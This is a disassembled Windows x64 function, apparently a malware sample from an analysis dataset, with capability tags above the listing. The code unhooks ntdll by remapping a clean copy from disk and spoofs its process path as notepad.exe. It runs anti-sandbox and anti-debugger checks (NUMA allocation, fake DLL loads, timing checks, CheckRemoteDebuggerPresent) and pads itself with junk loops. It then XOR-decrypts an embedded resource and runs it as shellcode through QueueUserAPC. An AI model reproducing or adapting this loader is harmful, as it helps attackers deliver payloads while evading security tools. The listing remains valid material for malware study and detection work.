Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x3f8
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x390], ecx
mov qword [rbp + 0x398], rdx
call fcn.1400028e0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x310], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x308], rax
mov dword [rbp + 0x368], 0
mov dword [rbp + 0x304], 0
mov ecx, 0x2b0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2f8], rax
mov dword [rbp + 0x36c], 0
jmp 0x140001554
call sub.msvcrt.dll_rand
mov ecx, eax
mov eax, dword [rbp + 0x36c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f8]
lea r8, [rdx + rax]
movsxd rax, ecx
imul rax, rax, 0x51eb851f
shr rax, 0x20
mov edx, eax
sar edx, 3
mov eax, ecx
sar eax, 0x1f
sub edx, eax
mov eax, edx
shl eax, 2
add eax, edx
lea edx, [rax*4]
add eax, edx
sub ecx, eax
mov edx, ecx
mov dword [r8], edx
mov eax, dword [rbp + 0x36c]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2f8]
add rax, rdx
mov eax, dword [rax]
add dword [rbp + 0x368], eax
add dword [rbp + 0x36c], 1
cmp dword [rbp + 0x36c], 0xab
jle 0x1400014d8
mov rax, qword [rbp + 0x2f8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2f0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x360], rax
cmp qword [rbp + 0x360], 0
jne 0x1400015f7
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x360], rax
cmp qword [rbp + 0x360], 0
je 0x140001b83
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x140]
mov rax, qword [rbp + 0x2f0]
mov r10, qword [rbp + 0x360]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x2e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2e0], rax
mov ecx, 0x1c00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2d8], rax
mov dword [rbp + 0x35c], 0
jmp 0x1400016e2
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x35c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2d8]
add rax, rdx
movsd xmm1, qword [0x1400051a8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x35c], 1
cmp dword [rbp + 0x35c], 0x37f
jle 0x1400016a4
mov dword [rbp + 0x35c], 0
jmp 0x14000174c
mov eax, dword [rbp + 0x35c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2d8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x35c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2d8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x35c], 1
cmp dword [rbp + 0x35c], 0x37f
jle 0x1400016fa
mov rax, qword [rbp + 0x2e0]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x2d0], rax
mov dword [rbp + 0x358], 0xffffffff
mov ecx, 0x17c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2c8], rax
add dword [rbp + 0x358], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x358]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2c8]
add rax, rdx
movsd xmm1, qword [0x1400051a8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x358]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x358]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x358], 0x2f6
jle 0x1400017af
mov rax, qword [rbp + 0x2d0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2e8]
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2e8]
add rax, rdx
mov qword [rbp + 0x2b0], rax
mov word [rbp + 0x356], 0
jmp 0x140001b6b
mov rax, qword [rbp + 0x2b0]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2b0]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x356]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001b5a
mov ecx, 0xb90
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2a0], rax
mov dword [rbp + 0x350], 0
jmp 0x14000197a
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x350]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x2a0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x350], 1
cmp dword [rbp + 0x350], 0x2e3
jle 0x14000192d
mov dword [rbp + 0x350], 0
jmp 0x140001a6a
cmp dword [rbp + 0x350], 0
je 0x1400019da
mov eax, dword [rbp + 0x350]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x350]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x1400019e6
add dword [rbp + 0x350], 1
jmp 0x140001a6a
mov eax, dword [rbp + 0x350]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x29c], eax
mov eax, dword [rbp + 0x350]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov edx, dword [rbp + 0x350]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x2a0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x350]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x2a0]
add rdx, rax
mov eax, dword [rbp + 0x29c]
mov dword [rdx], eax
sub dword [rbp + 0x350], 1
cmp dword [rbp + 0x350], 0x2e3
jle 0x140001995
mov rax, qword [rbp + 0x2a0]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x108], 0
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2e8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x108]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2e8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x108]
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x2a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2e8]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x108]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x356]
add eax, 1
mov word [rbp + 0x356], ax
mov rax, qword [rbp + 0x2b0]
movzx eax, word [rax + 6]
cmp word [rbp + 0x356], ax
jb 0x1400018b6
mov dword [rbp + 0x10c], 0
mov rax, qword [rbp + 0x310]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x290], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x110]
lea rax, [rbp + 0x10c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x290]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov dword [rbp + 0x34c], 0
mov dword [rbp + 0x348], 1
mov dword [rbp + 0x344], 0
mov dword [rbp + 0x28c], 0x34d
jmp 0x140001c41
mov edx, dword [rbp + 0x34c]
mov eax, dword [rbp + 0x348]
add eax, edx
mov dword [rbp + 0x164], eax
add dword [rbp + 0x344], 1
mov eax, dword [rbp + 0x348]
mov dword [rbp + 0x34c], eax
mov eax, dword [rbp + 0x164]
mov dword [rbp + 0x348], eax
mov eax, dword [rbp + 0x344]
cmp eax, dword [rbp + 0x28c]
jl 0x140001c0e
mov rax, qword [rbp + 0x118]
add rax, 0x3c
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x280]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x278], rax
cmp qword [rbp + 0x278], 0
je 0x140002818
mov rax, qword [rbp + 0x278]
mov edx, 0x52a
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x274], eax
mov qword [rbp + 0x268], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x507ee80
mov ecx, 0
call rax
mov qword [rbp + 0x268], rax
cmp qword [rbp + 0x268], 0
je 0x140002818
mov rax, qword [rbp + 0x268]
mov edx, 0x507ee80
mov rcx, rax
call fcn.140003cd0
mov rax, qword [rbp + 0x268]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov qword [rbp + 0x258], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x250]
mov r9d, 0x3000
mov r8d, 0x3e1
mov edx, 0
call rax
mov qword [rbp + 0x258], rax
cmp qword [rbp + 0x258], 0
je 0x140002818
lea rax, str.bbdxcllzcjnuqi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x248], rax
cmp qword [rbp + 0x248], 0
jne 0x140002818
mov ecx, 0x542
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x542
jne 0x140002818
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
lea rax, str.uyspocnnebhsh.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x240], rax
cmp qword [rbp + 0x240], 0
jne 0x140002818
mov dword [rbp + 0x104], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.CheckRemoteDebuggerPresent
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x238], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rax, [rbp + 0x104]
mov r8, qword [rbp + 0x238]
mov rdx, rax
call r8
mov eax, dword [rbp + 0x104]
cmp eax, 1
je 0x140002818
mov dword [rbp + 0x234], 0x338
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
call rax
mov dword [rbp + 0x224], eax
mov eax, dword [rbp + 0x234]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x228]
call rax
mov dword [rbp + 0x220], eax
mov eax, dword [rbp + 0x220]
sub eax, dword [rbp + 0x224]
cmp eax, 0x306
jbe 0x140002818
lea rax, str.qfgcbgvzsfdxpoy.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x218], rax
cmp qword [rbp + 0x218], 0
jne 0x140002818
mov dword [rbp + 0x214], 0x2d0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x208], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
call rax
mov dword [rbp + 0x1fc], eax
mov eax, dword [rbp + 0x214]
mov r8, qword [rbp + 0x208]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x200]
call rax
mov dword [rbp + 0x1f8], eax
mov eax, dword [rbp + 0x1f8]
sub eax, dword [rbp + 0x1fc]
cmp eax, 0x29e
jbe 0x140002818
mov rax, qword [rbp + 0x308]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f0], rax
lea rax, str.UUIQFDNPQC
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x1f0]
lea r8, str.UUIQFDNPQC
mov ecx, 0
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x308]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e8]
mov r8, qword [rbp + 0x1e0]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x308]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov dword [rbp + 0x340], 0xffffffff
mov ecx, 0x1e00
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x1c8], rax
add dword [rbp + 0x340], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x340]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1c8]
add rax, rdx
movsd xmm1, qword [0x1400051a8]
divsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x340]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1c8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x340]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x1c8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_atan
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x340], 0x3be
jle 0x140002116
mov rax, qword [rbp + 0x308]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c0], rax
mov rax, qword [rbp + 0x308]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1e8]
mov r8, qword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1c0]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1e8]
mov r8, qword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x1b0]
mov r9, qword [rbp + 0x1b8]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x310]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a0], rax
mov ecx, 0x1db8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x198], rax
mov dword [rbp + 0x33c], 0
jmp 0x1400022f3
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400051a8]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x33c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x198]
add rax, rdx
movsd xmm1, qword [0x1400051b0]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x33c], 1
cmp dword [rbp + 0x33c], 0x3b6
jle 0x1400022a5
mov dword [rbp + 0x33c], 0
jmp 0x14000235a
mov eax, dword [rbp + 0x33c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x198]
add rax, rdx
movsd xmm0, qword [rax]
mov eax, dword [rbp + 0x33c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x198]
add rax, rdx
movq xmm1, qword [0x1400051c0]
andpd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x33c], 1
cmp dword [rbp + 0x33c], 0x3b6
jle 0x14000230b
mov rax, qword [rbp + 0x1e8]
mov r8, qword [rbp + 0x1d0]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x1d8]
mov rax, qword [rbp + 0x1a8]
mov r9, qword [rbp + 0x1a0]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x338], 0
jmp 0x1400023e9
call sub.msvcrt.dll_rand
add eax, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1400051a8]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.1400038d0
movq rax, xmm0
mov qword [rbp + 0x168], rax
add dword [rbp + 0x338], 1
cmp dword [rbp + 0x338], 0x258
jle 0x1400023ac
mov dword [rbp + 0x330], 0
mov dword [rbp + 0x32c], 0
movabs rax, 0x2a0cc201988e3d12
movabs rdx, 0xc47327e2083a3cdb
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x3a59af244a08c71a
movabs rdx, 0xf0ae01da738dadf9
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x63389a22ecb62f71
movabs rdx, 0x94b87c0abe20cfcc
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x4544074bb562eca3
movabs rdx, 0xc807dea74cd2bb1
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0xdf8c79cd17c6a6eb
movabs rdx, 0xa9d412a89ac88c4d
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xdcaea9d412a89ac8
movabs rdx, 0xfcb2ec258099c6
mov qword [rbp + 0xa], rax
mov qword [rbp + 0x12], rdx
movabs rax, 0x512ec8f8b1a43a23
movabs rdx, 0xb7a1c33db81f43db
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xa3741b84bbafb7b7
movabs rdx, 0x645e9b719261b15d
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x22de23bfd5c10cf
movabs rdx, 0xc297b05b06ab98a4
mov qword [rbp + 0xb0], rax
mov qword [rbp + 0xb8], rdx
movabs rax, 0x73fe1d1e73a5e5f5
movabs rdx, 0x8428322777695076
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
movabs rax, 0x9e7b2616ee81cb43
movabs rdx, 0x1262c657c14567d1
mov qword [rbp + 0xd0], rax
mov qword [rbp + 0xd8], rdx
movabs rax, 0x8255917e3506792e
movabs rdx, 0xba70f1c3196c3f5e
mov qword [rbp + 0xe0], rax
mov qword [rbp + 0xe8], rdx
movabs rax, 0x14685b9b660eba
mov qword [rbp + 0xef], rax
mov dword [rbp + 0x334], 0
jmp 0x1400025e8
mov eax, dword [rbp + 0x334]
cdqe
movzx edx, byte [rbp + rax + 0x90]
mov eax, dword [rbp + 0x330]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x334]
cdqe
mov byte [rbp + rax + 0x20], dl
cmp dword [rbp + 0x330], 0x58
jne 0x1400025da
mov dword [rbp + 0x330], 0
jmp 0x1400025e1
add dword [rbp + 0x330], 1
add dword [rbp + 0x334], 1
mov eax, dword [rbp + 0x334]
cmp eax, 0x65
jbe 0x14000259a
mov dword [rbp + 0x334], 0
jmp 0x14000267c
mov dword [rbp + 0x328], 0x1cc
jmp 0x140002612
sub dword [rbp + 0x328], 1
cmp dword [rbp + 0x328], 0
jg 0x14000260b
mov eax, dword [rbp + 0x334]
movsxd rdx, eax
mov rax, qword [rbp + 0x1a8]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x32c]
cdqe
movzx ecx, byte [rbp + rax + 0x20]
mov eax, dword [rbp + 0x334]
movsxd rdx, eax
mov rax, qword [rbp + 0x1a8]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x32c], 0x65
jne 0x14000266e
mov dword [rbp + 0x32c], 0
jmp 0x140002675
add dword [rbp + 0x32c], 1
add dword [rbp + 0x334], 1
cmp dword [rbp + 0x334], 0
js 0x1400025ff
mov rax, qword [rbp + 0x1a8]
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x308]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x308]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x190]
mov r9, qword [rbp + 0x188]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp + 0x17c], 1
mov ecx, 0x36c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x170], rax
mov qword [rbp + 0x320], 2
jmp 0x14000274e
mov rax, qword [rbp + 0x320]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x170]
add rax, rdx
mov dword [rax], 1
add qword [rbp + 0x320], 1
cmp qword [rbp + 0x320], 0xda
jbe 0x140002727
mov qword [rbp + 0x320], 2
jmp 0x1400027e5
mov rax, qword [rbp + 0x320]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x170]
add rax, rdx
mov eax, dword [rax]
test eax, eax
je 0x1400027dd
mov rax, qword [rbp + 0x320]
mov qword [rbp + 0x318], rax
jmp 0x1400027c6
mov rax, qword [rbp + 0x320]
imul rax, qword [rbp + 0x318]
lea rdx, [rax*4]
mov rax, qword [rbp + 0x170]
add rax, rdx
mov dword [rax], 0
add qword [rbp + 0x318], 1
mov rax, qword [rbp + 0x320]
imul rax, qword [rbp + 0x318]
cmp rax, 0xda
jbe 0x140002797
add qword [rbp + 0x320], 1
cmp qword [rbp + 0x320], 0xda
jbe 0x140002768
mov rax, qword [rbp + 0x170]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x180]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x3f8
pop rbx
pop rbp
ret